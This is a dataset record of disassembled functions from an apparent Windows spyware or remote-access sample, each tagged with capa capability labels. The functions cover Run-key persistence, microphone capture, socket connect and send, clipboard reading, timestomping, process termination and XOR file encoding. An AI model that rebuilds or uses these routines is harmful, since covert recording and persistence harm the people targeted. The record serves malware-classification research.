joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4043d0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00404290
mov dword [esp], eax
mov ebx, eax
call sub.msvcrt.dll_strlen
mov esi, eax
mov eax, dword [edi*4 + 0x4280a0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [esi + eax + 8]
mov dword [esp], ecx
call fcn.0041f830
mov edx, dword [edi*4 + 0x4280a0]
mov esi, eax
mov eax, 0x424590
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
test ebx, ebx
je 0x40444a
mov dword [esp], ebx
call fcn.0041f8d0
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4044d6
test esi, esi
je 0x404466
mov dword [esp], esi
call fcn.0041f8d0
inc edi
cmp edi, 8
jl 0x4043f0
call fcn.00404290
mov esi, eax
call sub.msvcrt.dll_rand
cdq
mov ecx, 8
idiv ecx
mov ebx, dword [edx*4 + 0x4280a0]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea edx, [edi + eax + 8]
mov dword [esp], edx
call fcn.0041f830
mov dword [esp + 0xc], ebx
mov ebx, 0x424590
mov edi, eax
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x4044cc
mov dword [esp], esi
call fcn.0041f8d0
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4044e0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00404290
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x42804c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.0041f830
mov edx, dword [edi*4 + 0x42804c]
mov ebx, eax
mov eax, 0x424590
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4045ea
test esi, esi
je 0x40456e
mov dword [esp], esi
call fcn.0041f8d0
test ebx, ebx
je 0x40457a
mov dword [esp], ebx
call fcn.0041f8d0
inc edi
cmp edi, 7
jl 0x404500
call fcn.00404290
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 7
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x42804c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.0041f830
mov dword [esp], eax
mov edx, 0x424590
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x4045e0
mov dword [esp], esi
call fcn.0041f8d0
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404600
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00404290
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x42803c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.0041f830
mov edx, dword [edi*4 + 0x42803c]
mov ebx, eax
mov eax, 0x424590
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x40470a
test esi, esi
je 0x40468e
mov dword [esp], esi
call fcn.0041f8d0
test ebx, ebx
je 0x40469a
mov dword [esp], ebx
call fcn.0041f8d0
inc edi
cmp edi, 4
jl 0x404620
call fcn.00404290
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 4
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x42803c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.0041f830
mov dword [esp], eax
mov edx, 0x424590
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x404700
mov dword [esp], esi
call fcn.0041f8d0
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404720
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
lea esi, [ebp - 0x10]
push ebx
sub esp, 0x1c
xor ebx, ebx
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
jmp 0x404756
inc ebx
cmp ebx, 8
jge 0x4047d0
mov dword [esp + 0x10], esi
xor edx, edx
mov ecx, 0x20019
mov dword [esp + 8], edx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 0x10]
sub esp, 0x14
test edx, edx
je 0x404750
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx*4 + 0x428080]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x4047e7
mov edx, dword [ebp - 0x10]
inc ebx
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 8
jl 0x404756
mov esi, esi
call sub.msvcrt.dll_rand
cdq
idiv edi
mov eax, dword [edx*4 + 0x428080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x10]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebx*4 + 0x428080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404810
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x12c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.00404600
mov dword [esp], eax
mov ebx, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x404890
test ebx, ebx
je 0x404853
mov dword [esp], ebx
call fcn.0041f8d0
call sub.msvcrt.dll_rand
mov ebx, dword [0x4280e0]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
add eax, 8
mov dword [esp], eax
call fcn.0041f830
mov dword [esp], eax
mov esi, eax
mov dword [esp + 4], ebx
call sub.msvcrt.dll_strcpy
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov eax, 0x4245c6
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x404847
xor edx, edx
test byte [eax + 0xc], 0x10
mov dword [ebp - 0x11c], edx
jne 0x4048f3
lea edi, [ebp - 0x118]
nop
lea esi, [esi]
mov byte [ebp - 0x118], 0
mov eax, 0x4245c8
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
movzx ecx, byte [ebp - 0x118]
cmp ecx, 1
sbb dword [ebp - 0x11c], 0xffffffff
test byte [esi + 0xc], 0x10
je 0x4048c0
mov dword [esp], esi
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.msvcrt.dll_fseek
mov edi, dword [ebp - 0x11c]
test edi, edi
jle 0x40496a
mov dword [esp], 0x100
call fcn.0041f830
mov byte [eax], 0
mov edi, eax
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0x11c]
test edx, edx
js 0x404958
lea ebx, [edx + 1]
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 8], edi
mov eax, 0x4245c8
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
dec ebx
jne 0x404940
mov dword [esp], esi
call sub.msvcrt.dll_fclose
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x404847

Function at 0x404980
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
movsx ebx, byte [ebp + 8]
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [ebp - 0x14], ebx
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x10], esp
mov esi, dword [edi*4 + 0x428020]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x26
and eax, 0xfffffff0
call fcn.00421960
mov dword [esp + 0xc], esi
lea ebx, [esp + 0x1f]
mov eax, str._c:_s
mov edx, dword [ebp - 0x14]
and ebx, 0xfffffff0
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x404a25
inc edi
cmp edi, 7
mov esp, dword [ebp - 0x10]
jl 0x4049b0
call sub.msvcrt.dll_rand
cdq
mov ecx, 7
idiv ecx
mov eax, dword [edx*4 + 0x428020]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [edi*4 + 0x428020]
mov esp, dword [ebp - 0x10]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4058a0
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 8]
mov edi, esp
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x3e
and eax, 0xfffffff0
call fcn.00421960
mov dword [esp], str.open_new_type_waveaudio_alias_mic_buffer_6
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
lea ebx, [esp + 0x1f]
mov dword [esp + 4], edx
and ebx, 0xfffffff0
mov dword [esp + 0xc], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
mov dword [esp], str.record_mic
call sub.WINMM.DLL_mciSendStringA
mov eax, dword [ebp + 0xc]
sub esp, 0x10
mov dword [esp], eax
call sub.KERNEL32.dll_Sleep
sub esp, 4
xor edx, edx
xor ecx, ecx
mov dword [esp + 8], edx
xor eax, eax
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], str.stop_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov ecx, str.save_mic__s
mov dword [esp + 8], esi
xor esi, esi
mov dword [esp + 4], ecx
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
xor edx, edx
xor eax, eax
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
xor eax, eax
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.close_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov esp, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x407610
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
mov dword [esp], 0x101
mov dword [esp + 4], ebx
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
test eax, eax
js 0x407670
mov dword [esp], 2
xor eax, eax
mov ecx, 1
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x190], eax
sub esp, 0xc
inc eax
je 0x407670
mov edx, dword [ebp + 0xc]
mov dword [esp], edx
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebx + 0x1a4], eax
sub esp, 4
test eax, eax
jne 0x407675
mov ebx, dword [ebp - 4]
leave
ret
mov ecx, dword [eax + 0xc]
mov edx, 2
mov word [ebx + 0x194], dx
mov edx, dword [ecx]
movzx ecx, word [ebp + 0x10]
mov eax, dword [edx]
mov dword [ebx + 0x198], eax
mov dword [esp], ecx
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x196], ax
sub esp, 4
lea eax, [ebx + 0x194]
mov dword [esp + 4], eax
mov edx, 0x10
mov dword [esp + 8], edx
mov ecx, dword [ebx + 0x190]
mov dword [esp], ecx
call sub.WSOCK32.DLL_connect
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x407740
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [edx + 0x190]
mov dword [esp], eax
call sub.WSOCK32.DLL_send
sub esp, 0x10
leave
ret

Function at 0x4081d0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp byte [0x428144], 0
je 0x4081e6
mov eax, dword [0x428140]
leave
ret
mov dword [esp], 0x100
call fcn.0041f830
mov dword [0x428140], eax
lea edx, [ebp - 4]
mov dword [ebp - 4], 0x100
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
mov byte [0x428144], 1
mov eax, dword [0x428140]
sub esp, 8
leave
ret
Function at 0x408220
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0xc]
cmp byte [ebp + 0x10], 0
je 0x408260
mov dword [esp], esi
mov eax, 0x424ec0
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
je 0x408260
mov dword [esp], eax
call sub.msvcrt.dll_fclose
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov byte [ebp - 0xe], 0
mov ecx, 0x424ec2
mov dword [esp + 4], ecx
mov edx, dword [ebp + 8]
mov dword [esp], edx
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x40830c
mov dword [esp], esi
mov edi, 0x424ec5
mov dword [esp + 4], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x408304
test byte [ebx + 0xc], 0x10
jne 0x4082f8
lea esi, [ebp - 0xd]
mov dword [ebp - 0x14], esi
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 0xc], ebx
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x14]
mov dword [esp], ecx
call sub.msvcrt.dll_fread
mov dword [esp + 0xc], edi
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [ebp - 0x14], esi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
test byte [ebx + 0xc], 0x10
je 0x4082b0
mov byte [ebp - 0xe], 1
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
movzx eax, byte [ebp - 0xe]
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x408320
Capabilities:
Query environment variable
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xbc
mov dword [ebp - 0xb4], esp
mov dword [esp], str.SYSTEMROOT
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, 0x3e
and eax, 0xfffffff0
call fcn.00421960
mov dword [esp], str.SYSTEMROOT
lea ebx, [esp + 0x1f]
and ebx, 0xfffffff0
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov edx, str._s_notepad.exe
lea esi, [ebp - 0xa8]
mov dword [esp], ebx
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], esi
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x40840f
mov dword [esp], ebx
xor edi, edi
xor eax, eax
mov dword [esp + 8], edi
lea edi, [ebp - 0xb0]
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
call sub.KERNEL32.dll_GetFileTime
sub esp, 0x10
mov dword [esp], ebx
mov ebx, 2
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x40840f
mov dword [esp + 4], edi
xor edx, edx
xor esi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileTime
sub esp, 0x10
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov esp, dword [ebp - 0xb4]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x408930
Capabilities:
Check os version

Disassembly:
push ebp
mov edx, 0x94
mov ebp, esp
push ebx
lea eax, [ebp - 0xa8]
sub esp, 0xc4
mov dword [ebp - 0xa8], edx
mov ebx, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetVersionExA
mov ecx, dword [ebp - 0xa4]
sub esp, 4
cmp ecx, 6
je 0x408997
cmp ecx, 5
mov edx, dword [ebp - 0xa0]
je 0x4089d0
mov eax, dword [ebp - 0x9c]
mov dword [esp + 0xc], edx
mov edx, str.Windows__i._i_build__i
mov dword [esp], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
mov ebx, dword [ebp - 4]
leave
ret
mov edx, dword [ebp - 0xa0]
cmp edx, 2
je 0x408a04
cmp edx, 1
je 0x4089f3
test edx, edx
jne 0x40896f
mov edx, dword [ebp - 0x9c]
mov eax, str.Windows_Vista_build__i
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov ebx, dword [ebp - 4]
leave
ret
cmp edx, 2
je 0x408a15
cmp edx, 1
je 0x408a26
test edx, edx
jne 0x40896f
mov eax, dword [ebp - 0x9c]
mov ecx, str.Windows_2000_build__i
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
jmp 0x4089be
mov eax, dword [ebp - 0x9c]
mov dword [esp + 8], eax
mov eax, str.Windows_7_build__i
jmp 0x4089ba
mov ecx, dword [ebp - 0x9c]
mov eax, str.Windows_8_build__i
mov dword [esp + 8], ecx
jmp 0x4089ba
mov ecx, dword [ebp - 0x9c]
mov eax, str.Windows_Server_2003_build__i
mov dword [esp + 8], ecx
jmp 0x4089ba
mov edx, dword [ebp - 0x9c]
mov eax, str.Windows_XP_build__i
mov dword [esp + 4], eax
mov dword [esp + 8], edx
jmp 0x4089be
Function at 0x408a40
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0x15c
mov dword [esp + 4], esi
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
test eax, eax
mov edi, eax
je 0x408b44
lea eax, [ebp - 0x148]
mov ebx, 0x128
mov dword [ebp - 0x148], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
je 0x408b39
lea esi, [ebp - 0x124]
lea esi, [esi]
mov dword [ebp - 0x14c], esp
mov ecx, esi
nop
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x408ab0
and edx, 0x8080
jne 0x408ad6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
lea eax, [ecx + 0x1f]
and eax, 0xfffffff0
call fcn.00421960
mov dword [esp + 4], esi
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov dword [esp], ebx
call sub.msvcrt.dll_strcpy
mov dword [esp], ebx
call fcn.004088f0
mov edx, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], edx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x408b4c
mov dword [esp], edi
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
mov esp, dword [ebp - 0x14c]
jne 0x408aa0
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [ebp - 0x140]
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], 1
mov dword [esp + 8], ebx
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
test eax, eax
je 0x408b16
mov dword [esp], eax
xor edx, edx
mov dword [esp + 4], edx
call sub.KERNEL32.dll_TerminateProcess
sub esp, 8
jmp 0x408b16

Function at 0x408c40
Capabilities:
Set registry value

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push ebx
xor eax, eax
sub esp, 0x34
mov dword [esp + 0x20], ecx
lea edx, [ebp - 8]
mov ecx, 0x2001f
mov dword [esp + 0x1c], edx
xor edx, edx
xor ebx, ebx
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x14], ecx
xor ecx, ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov edx, dword [ebp - 8]
sub esp, 0x24
test edx, edx
jne 0x408ca0
movzx eax, bl
mov ebx, dword [ebp - 4]
leave
ret
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0x14], eax
mov ecx, dword [ebp + 0x18]
mov dword [esp + 0x10], ecx
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
test eax, eax
jne 0x408cd3
mov bl, 1
mov edx, dword [ebp - 8]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
movzx eax, bl
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x409c80
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov edx, 0x4250c0
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x409da2
mov dword [esp], ebx
xor esi, esi
mov edi, 2
mov dword [esp + 8], edi
mov dword [esp + 4], esi
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp], eax
mov edi, eax
call fcn.0041f830
mov dword [esp], ebx
xor ecx, ecx
mov esi, eax
mov dword [esp + 4], ecx
xor eax, eax
mov dword [esp + 8], eax
call sub.msvcrt.dll_fseek
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], edi
jge 0x409d30
test byte [ebx + 0xc], 0x10
jne 0x409d30
mov dword [esp + 0xc], ebx
mov edx, dword [ebp - 0x10]
mov ecx, 1
mov dword [esp + 8], ecx
mov eax, 1
mov dword [esp + 4], eax
lea ecx, [esi + edx]
mov dword [esp], ecx
call sub.msvcrt.dll_fread
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x409cf4
lea esi, [esi]
lea edi, [edi]
mov dword [esp], ebx
xor ebx, ebx
call sub.msvcrt.dll_fclose
xor ecx, ecx
jmp 0x409d5c
xor edx, edx
cmp ebx, dword [ebp + 0x14]
setl dl
neg edx
and edx, ebx
mov ebx, dword [ebp + 0x10]
movzx eax, byte [edx + ebx]
lea ebx, [edx + 1]
neg al
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x409d40
mov ecx, dword [ebp + 0xc]
mov edx, 0x4250c3
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.msvcrt.dll_fopen
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x409da2
mov dword [esp + 8], edi
mov edi, 1
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov eax, 1
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40a030
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esi
xor esi, esi
mov dword [ebp - 8], ebx
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
jne 0x40a060
mov eax, esi
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], 1
call sub.USER32.dll_GetClipboardData
sub esp, 4
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov esi, eax
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
call sub.USER32.dll_CloseClipboard
mov eax, esi
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret